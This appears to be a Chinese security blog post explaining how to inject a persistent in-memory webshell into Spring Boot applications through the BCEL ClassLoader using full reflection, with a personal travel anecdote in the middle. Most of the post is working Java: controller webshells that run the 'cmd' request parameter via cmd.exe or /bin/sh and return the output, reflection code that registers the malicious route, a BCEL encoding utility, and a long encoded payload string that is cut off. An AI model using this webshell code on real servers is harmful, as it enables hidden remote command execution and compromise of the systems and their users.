February 29, 2024

BCEL环境下利用全反射构造高可用内存马

一、回顾BCEL字节码

文章在先知社区首发

BCEL-ClassLoader赛博学习
懒狗写过一篇文章。所以就不多说BCEL字节码是个啥了。BCEL加载类有一个特点,只可以加载jdk原生的类,比如spring下面的所有类,都会报错ClassnotFound的错误。因此全反射诞生~
但是很遗憾的告诉大家,BCEL的ClassLoader在8u252后告别了大家~
但谁会用那么高版本的jdk呢^ ^

[*]、惊险小插曲

现在是8.10 凌晨三点,我十二点下的飞机,最晚本来一点多就该到酒店了,可是经历了一次惊险的逃亡。由于是定的机票捆绑了机场酒店,我也没多想,就直接去了,结果到那是十二点半。酒店前台灯全是关的,也就是漆黑一片,当我怀疑被骗了的时候我打了一下高德地图里面酒店的电话。结果捏,酒店门口不是停了一些车子。车子上面有人看到我打了电话,下来了一个人。问我是不是入住的。我很爽快的说,yes sir。结果第一件事情是递我一根烟,让我出示身份证,到目前一切正常,拿到我身份证也不打开电脑核对,瞎几把看了一圈我的身份证后他妈和我说酒店住满了,要带我换酒店,到这里我的警觉神经就拉满了,我试探性问了一句去那个酒店。他随口来一句:如意酒店。我摸摸搜了一下,就在对面200米,但他让我上他的车,他送我。然后我说不用了,多麻烦,我自己走过去,他坚持要送我,然后夺命三连问:”你是本地人?”,”你几个人来的?”,”你家在哪?”。好家伙还查我户口,那我必然说是本地人,家在附近只是过个夜。
这里多亏我到目的后第一件事不是入住酒店,而是点一波烧烤。。。。而且好在烧烤师傅烤的贼几把烂,烤好久没烤好,我就说,你先等我一下,我先吃完烧烤。他说行,然后回到车子上。还给烧烤师傅和我都低了一根烟(现在我复盘,什么酒店老板会给烟的?他妈的他压根可能就不是老板)。在这时候,我就直接高德地图叫了个车,运气好,四分钟就到,而且我一直不让那byd发现我点了车,一直在烧烤店旁边周旋,假装在等烧烤(现在我他吗发现烧烤店老板肯定也是知道那个男的不是酒店老板,都在那里100米之内的店铺,老板是谁怎么可能不知道啊?不告诉我就说明有鬼啊)。然后车到了,我直接结账烧烤,就算烧烤没考好我也开润了。您猜怎么着,我猜对了,看到我马不停蹄的上车,烧烤店的老板也不问我要不要烧烤,那个车里的人看到我也不问我咋回事,就放我跑了。
最骚的是什么,等我到了市中心的一个全季酒店后,我继续拨打了刚刚没打通的前台电话,一阵ob下来,他说他们在房间休息,前台没人。我说那刚刚的老板是谁,他们说不认得。果然机场酒店不能随便住,最好也别晚上的航班了,还是一个人。给我整的人都是懵逼的。byd还好我跑得快,不然我不知道那b东西想干嘛。都2023年了,不会吧不会吧。
9fad1b535bb5da21ab0f7d5cf225949f.jpg
真是惊险,也是倒霉,怎么遇上这事情呢。我测试他的00391CD9.png

二、正常的注入流程

抛开这个小插曲
回顾一下咱们正常的SpringBoot内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class InjectToController extends AbstractTranslet {

// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/boo")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

// 第二个构造函数
public InjectToController(String aaa) {}

// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}

}

这里是正常的springboot内存马。我们重温一下来解构一下内存马的几个重要组成部分。

Context

我们肯定都是需要获取到上下文才有后续的一些操作,这里我们用的是一种比较通用的获取上下文

1
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

从上下文中我们可以获取自动注册的Bean,接着就可以进一步的利用了。

恶意Function

恶意function也就是我们命令执行的方法了。上述内存马用着的方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  // 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
2

会判断操作平台,是linux还是windows,方便我们设置木马的编码。
用的是一个比较通用的回显方法,用scanner去输出。对于windows平台scanner需要做一下编码处理

1
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");

加上gbk的编码即可。然后response.setCharacterEncoding("gbk");设置response响应的编码,就可以避免中文乱码了。

RequestMappingHanlder

内存马最重要的部分就是他了,我们后续也是围绕着它展开,MappingHandler是我们添加恶意方法路由的地方。我们最终都是为了获取到它,然后将我们的恶意类绑定到指定的路由,对应内存马的

1
2
3
4
5
6
7
8
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/boo")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

这几行代码完成了恶意路由的创建和注册。
这三个部分就是内存马的核心。我们接下来围绕这个展开。

三、BCEL环境下注入构造

网上的文章几乎没有,所以需要自己多尝试
前面也说了,BCEL环境下只可以加载jdk原生的东西,所以有关其他依赖比如spring的依赖。我们只可以通过反射去调用,也称为”全反射”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.example.spel.controller;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class BcelInjectToController {

public BcelInjectToController() {

}

public void shell() throws Exception{
ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
Object request = getRequest.invoke(RequestFace);
Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
Object response = getResponse.invoke(RequestFace);
Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
Method getWriter = response.getClass().getDeclaredMethod("getWriter");
Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
//exec
try {
String cmd= (String) getParameter.invoke(request,"cmd");
PrintWriter writer= (PrintWriter) getWriter.invoke(response);
if (cmd != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
sendError.invoke(response,404);
}
}catch (Exception e){
System.out.println("Boogipop Error~");
}
}
private static Object getFV(Object o, String f) throws Exception {
Field var2 = null;
Class var3 = o.getClass();

while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(f);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}

if (var2 == null) {
throw new NoSuchFieldException(f);
} else {
var2.setAccessible(true);
return var2.get(o);
}
}
private static Object getMV(Object o, String m) throws Exception {
Method var2 = null;
Class var3 = o.getClass();

while (var3 != Object.class) {
try {
var2 = var3.getDeclaredMethod(m);
break;
} catch (NoSuchMethodException var5) {
var3 = var3.getSuperclass();
}
}

if (var2 == null) {
throw new NoSuchMethodException(m);
} else {
var2.setAccessible(true);
return var2.invoke(o);
}
}
}

内存马部分

先从当前线程获取一个classloader,方便我们之后反射获取类。
image.png
这一步获取到了WebAppClassLoader。然后我们回顾正常注入内存马的第一部,就是获取currentRequestAttributesMethod方法,然后反射调用。
image.png
这里可以看到request和response,但他们都有个后缀Facade
image.png
RequestFacade是对Request的一个封装,所以获取到他我们也可以进行一系列的处理。
image.png
到这里把所有用到的方法全部反射获取完后
image.png
直接就这样输出就行了。springboot的全反射内存马相对还是比较简洁的。

注入部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ClassLoader springClassload = Thread.currentThread().getContextClassLoader();

Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
//获得standardcontext
Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = standardcontext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
//迭代获得TomcatEmbeddedContext
Object TomcatEmbeddedContext = contextField.get(standardcontext);
Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
context2Field.setAccessible(true);
//获取到了ApplicationContext
Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
attributesField.setAccessible(true);
ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
//这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
//最终获取到RequestMapping,结束。接下来注册路由
Object requestMappingHandlerMapping = getBean.invoke(springRoot, RequestMappingHandlerMapping.class);
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
Object config = configField.get(requestMappingHandlerMapping);
Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
paths.setAccessible(true);
options.setAccessible(true);
build.setAccessible(true);
Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"});
Object builder2 = options.invoke(builder1, config);
Object requestMappingInfo = build.invoke(builder2);
BcelInjectToController springControllerMemShell = new BcelInjectToController();
Method shell = BcelInjectToController.class.getMethod("shell");
Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
registerMapping.setAccessible(true);
registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,springControllerMemShell,shell);
System.out.println("inject successfully");

我们需要获取到上述说到的核心,也就是context上下文,这里通过一系列的迭代获取springRoot上下文,再做接下来的处理。这一部分最重要的是获取到RequestMapping,因为spring的controller内存马都是依托这个的
image.png
获取到ApplicationContext,在这里其实可以做其他处理,比如注入tomcat内存马(通杀)。这个大家都不陌生,但这里是springboot,我们就按照spring内存马来。然后就是要获取spring的上下文对象
image.png
attributesMap属性里有这个键值,取出来就好。接下来调用getbean方法,因为RequestMapping本身就被当做bean注册了。刚刚获取到的ROOT上下文实际上是AnnotationConfigServletWebApplicationContext
image.png
他是AbstractApplicationContext的实现类,所以有getBean方法可以直接获取,很方便。
image.png
最终也是成功获取requestmapping,后续就是反射注册路由了,有个比较坑的地方就是paths方法
image.png
是可变的字符串类型,反射获取类方法时用字符串数组就行,关键是反射触发的时候要强转为Object
image.png
然后就是注册恶意方法了,这里也有个坑,就是BCEL其实是不会识别内部类的,所以这里我为了演示直接把恶意的Controller注册为一个类
image.png
然后反射触发就行了。实际上我们需要把一开始的内存马编译为BCEL字节码,然后用BCEL加载器加载,然后再反射获取这个类的方法,再注册。
image.png

四、完整的BCEL内存马注入

上述不是说需要先转为BCEL字节码吗。
注入路由准备如下

1
2
3
4
@RequestMapping("/b1")
public void inject(String code) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}

很简洁的一个加载,首先把刚刚第一个内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example.spel.controller;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class BcelInjectToController {

public BcelInjectToController() {

}
public BcelInjectToController(String aaa) {

}
public void shell() throws Exception{
ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
Object request = getRequest.invoke(RequestFace);
Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
Object response = getResponse.invoke(RequestFace);
Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
Method getWriter = response.getClass().getDeclaredMethod("getWriter");
Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
//exec
try {
String cmd= (String) getParameter.invoke(request,"cmd");
PrintWriter writer= (PrintWriter) getWriter.invoke(response);
if (cmd != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
sendError.invoke(response,404);
}
}catch (Exception e){
System.out.println("Boogipop Error~");
}
}
private static Object getFV(Object o, String f) throws Exception {
Field var2 = null;
Class var3 = o.getClass();

while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(f);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}

if (var2 == null) {
throw new NoSuchFieldException(f);
} else {
var2.setAccessible(true);
return var2.get(o);
}
}
private static Object getMV(Object o, String m) throws Exception {
Method var2 = null;
Class var3 = o.getClass();

while (var3 != Object.class) {
try {
var2 = var3.getDeclaredMethod(m);
break;
} catch (NoSuchMethodException var5) {
var3 = var3.getSuperclass();
}
}

if (var2 == null) {
throw new NoSuchMethodException(m);
} else {
var2.setAccessible(true);
return var2.invoke(o);
}
}
}

编译为BCEL字节码,这个的话可以写一个util去编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.spel.util;

import com.example.spel.controller.BcelInjectToController;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import javax.security.auth.login.Configuration;
import java.io.IOException;

public class ClassToBcel {
public static String ConvertToCode() throws IOException {
JavaClass javaClass= Repository.lookupClass(BcelInjectToController.class);
String code= Utility.encode(javaClass.getBytes(),true);
code+="$$BCEL$$";
System.out.println(code);
return code;
}

public static void main(String[] args) throws IOException {
String s = ConvertToCode();
System.out.println(s);
}
}

最后的内存马如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example.spel.controller;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;

public class BcelSpringMemShell {

public BcelSpringMemShell(String aaa) {}

public BcelSpringMemShell() throws Exception{
ClassLoader springClassload = Thread.currentThread().getContextClassLoader();

Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
//获得standardcontext
Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = standardcontext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
//迭代获得TomcatEmbeddedContext
Object TomcatEmbeddedContext = contextField.get(standardcontext);
Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
context2Field.setAccessible(true);
//获取到了ApplicationContext
Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
attributesField.setAccessible(true);
ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
//这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
//最终获取到RequestMapping,结束。接下来注册路由
Object requestMappingHandlerMapping = getBean.invoke(springRoot, springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
Object config = configField.get(requestMappingHandlerMapping);
Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
paths.setAccessible(true);
options.setAccessible(true);
build.setAccessible(true);
Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"});
Object builder2 = options.invoke(builder1, config);
Object requestMappingInfo = build.invoke(builder2);
Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance();
Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass", String.class);
Class Memshell= (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$JtTW$Z$fen2$93$f7f$e6$r$q$TH$98$40$cb$o$84$ecS$c2$o$q$40$T$C$b1i$93$902$U$I$b4$c5$97$c9K20$997$bcy$93$80K$b5$ae$d5Z$d7V$c4$7d$abqA$zX$H$y$d0R$95V$ebR7$dck$5d$ab$d6$e5$i$cf$d1s$f4$9cj$fd$ee$7b$938$93L$ca1gr$df$bd$ff$ff$df$ff$fe$cb$f7$ff$ef$be$t$fe$f3$d0$c3$A$d6$e3$af$7e$f8$f0J$3f$ee$c0$ab$e4$f0j$Vw$fa$f1$g$bcV$c5$eb$U$bc$de$P$FoP$f0F$3f$ee$c2$9b$a4$e4$9bU$MJ$e2$dd$w$O$aa$b8M$c1$5bT$dc$ae$e2$90$P$f7$e0$ad$w$fa$V$bcM$c5$dbU$bc$c3$8fw$e2$5d$7e$94$e3$5e$V$f7$c9$e7$bb$V$9cP$f1$k$V$t$fdX$8a$f7$aax$9f$8a$f7$x$f8$80$5c$7d$d0$8f$P$e1$c3$7e$ac$c4GT$7cT$3e$3f$s$87$8f$cb$e1$7e9$7c$c2$8fE$98$92$c3$t$e5$c0$e5$3d$f8$94$82O$fbx$cagT$9c$f2$e3$b3$f8$9c$b4$eb$f3$K$k$90$cf$d3$7e$fav$c6$8f$_$e0A9$7cQA$c6$8f$cd$92r$X$kTpV$a0dK$y$R$b3$b7$J$U$d7$d5$ef$V$f0t$99$c3$86$c0$82$deX$c2$e8O$8f$P$Z$d6$k$7d$uNJ$b0$d7$8c$ea$f1$bd$ba$V$93$eb$y$d1c$8f$c5R$C$eb$7b$a3$e6x$d88$a6$8f$t$e3F8$954$e2$e1$a8$99$b0$z3$k7$ac$f0$f6$a8$R$efI$i6$a2$f6$k$b3k$86$dc$$$b0$a8$ae$f7$b0$3e$a1$87$e3zb4$i$b1$adXb$b4$5d$daP$ac$eb$ba$3cp$OS$a0$bc$cf$b0$c7$cc$e1$B$dd$d2$c7$N$db$b0x$b875f$c4$e3$C$o$vP$93$b3g$c02$a3F$w$b5$3d$j$8b$P$3b$c7$J$93$ffQ$81JW$um$c7$e2$e1HTO$q$inqt$7c$98$d1$98$b4bTK$db$5c$a1$98I$3d$b1$84$bd$cf$nK$r$c6$M$cf9e$e7$b1$a8$91$b4cf$82$3c$z$95$94f$f6$9a$fa$b0TQ$9d$p$d6$V$d7S$v$97A$c1k$a3i$cb2$S$f6n$e3h$daH$d9$9d6$dd$hJ$dbF$ca$f5$$$df$P$cb$Y$893va$97$c7$dd$81$ec$b6n$3dj$e4$87i$d7$90$8c2E$fc$a3$c6$b4r$B$c5$9a$9e$F$ir$wi$sR$dc$a9Z3S$8d$8c$99$98$K$f8$b8$dc$97$N$84$_e$q$86wZ$96$c9yi$c4$d6$a3G$fa$f4$a4$93$7e$c2G$c19$F_ba$b0$A$IyB$9bH$s$ki$c1L$60d$8a$a8$af$9b$89$ddT7$d7$d8$C$Q$u$e4$91gB$b76$I$y$cf$e1$f5$9b$91tt$ac$3bf$c4$87s$b3$mF$5c$e9V$81P$810$3a$f2Y$85$eb$E$wf$t$a9$5d$c1C$acx$d6$8fkw$l$ed$5e1$e7T7$Zy$c7$8e$b3$b6$e8w$c4L$5bQ$a3$3b$s$cbcIa$e8$b7Hm$g$b6b$9b$82$f3$g$$$e0$a2$86$87$f1$88$c0$W$d3$gmqA4$o$931iZGZ$s$8d$a1$WYM$c61$bb$r$9b$c9$96ln$bb$5c$f2$N$a6D8s$a1$e1$S$k$VX$3c$l$bcX$d7$b3$bc$d5$f0e$7c$85e5$3b$e2$cc$aa$86$af$e2$b2$86$c7$f0$b8$86$af$cd$Sr3$a5$e0$eb$g$9e$A$d5V$W$u$W$B$Q$7bf$aa$rAO$U$7cC$c37$f1$z$N$df$c6$93$y$b6$c9XB$c3w$f0$5d$g$3b_$c5r3K$b2$c58$c6$40$W$85$a32$5e$df$p$z$3c$UK$84Sc$a45$b3$96$x$e6$94$b2$86$ef$e3$H$K$aeh$f8$n$7e$q7$fd$98$b9$e9$d4$f0$T$fcT$c3$cf$f0s$NO$e1I$N$bf$c06$NOc$87$86_$ca$d9$af$f0$ebi$_$f2$cbZ$c3o$f0$5b$c6m$bbi$8e$c6$92fr$b9S$Kw$u$f8$9d$86g$e4$f6$df$e3$P$y$e8$XF$a5$86$3f$ca$un$c5$O$82K$c3$b3$f8$93$86$3f$e3$_$C$cb$ae$82$x$81$d6$ff$bf$b3$b2A$Vl$3cy$b1$ce$ef$wlV$f3TJ$5e$da$f7$8cY$86NRi$W$60$d3$eb$85u$b95$ebRe$7fg$f9d$n$9agF$uO$3c$bf5$fa$e2$9c9$q$81$d5$85$de$Ps$ea$d5mW$d3$7et$U$d8sp$ce$9e$fa$X$ea$af$r$b1$c4$84y$84$a8$db$5c$a0$5d$j$9cK$w$d8$afT$e9$bb$ebF$e5$5cw$vPA$81$jF4$ae$5b$c6$f0$b4$f1$V$ff$T$eba$d8Fe$b0$3c$7b$G$Hv$e6$X$df$f1$94m$8c$bb$dd$9c$r$934$y$fb$b8$40$edU$825$f3$K$N$d8f$af9iX$5d$ba$ec$fc$f9$a9$9b$RR$r$ca$f4$98l$deKr$Vw$8d$e9VD$b6$95D$d4h$af$3f$mPUw$b0$f0K$dc$9b$b2u$cb$96$_$f9$fa$b9$_$e5$f6$3c_$b3D$812z$d4$93H$a6m$ea1t$baX$3d$bd$99$ad$r$87$c1$ed$8b$eb$K2$e4$c9Z$3ae$ec0$e2$b1q$b7$L$ad$99$3f0$b3$ae$A$ca$98$9e$ea$tX$9d$bb$Q$7d$f3$q$9c$857$g7e$a8$bc$ce$dd$80$cf$91xZ6$meB$8f$a7$8d$5d$p2$I$3d$b9Nfs$t$_$Vf$da$9es$97$98$f1$a1$b2$A$99je$ff$b7$e3$ac$fd$f2$i$88d$8b$b1$f9$wY$9e$fd$96$x$a5$8aH$9a$Q$89$baX$yM$ZvgTF$3b$e6$5e$e0$ea$O87$$$8a$cd$82$d0$fc$e0$c6$Kl$e1$VX$fey$d9$e2$f9$g$e3x$3dW$eb$f8$U$92$dap$W$e24$tE$e8$e0$e8$e7$T$dc$e0A$A$9d$9ci$ae$Q$b6$a3$Lp$U$ec$a0$84T$b0$95$ab$a2$f9$UhTP$e6$u$a8r$85$b2$K$e4l$t$ba$b9$f5$rr$$$b8$90Zo$a0Y$8e$d6$e2$w$94$f0$de$N1q$OE$Z$U$f76$G$3d$Zx$83$r$c5$X$a1d$a0$f65$b9$E$$$7d$Z$f8$fb$9b3$I$E5$97Y$da$e6$Jy$9a$b3$9c6$af$c3$w$9bf$95$84JfXJ$c8$xy$L$3c$e4$N$W$H$cb$pR$40$N$v$92X1$bd$c1$e7$ae$83$ae$d0$ZT$3aR$fe$90$g$f2$92$e4$e3$be$85$a4$f8$_$a1$bc$z$Q$a2pV$f9$r$yj$d3B$81$c7p_$b0$aa$ad4X$7d$O$8b3$I$Fk2Xr$S$x$cfc$e9$60$c9E$94s$f75$91AO$f0$da$c8$a07$U$88$9c$c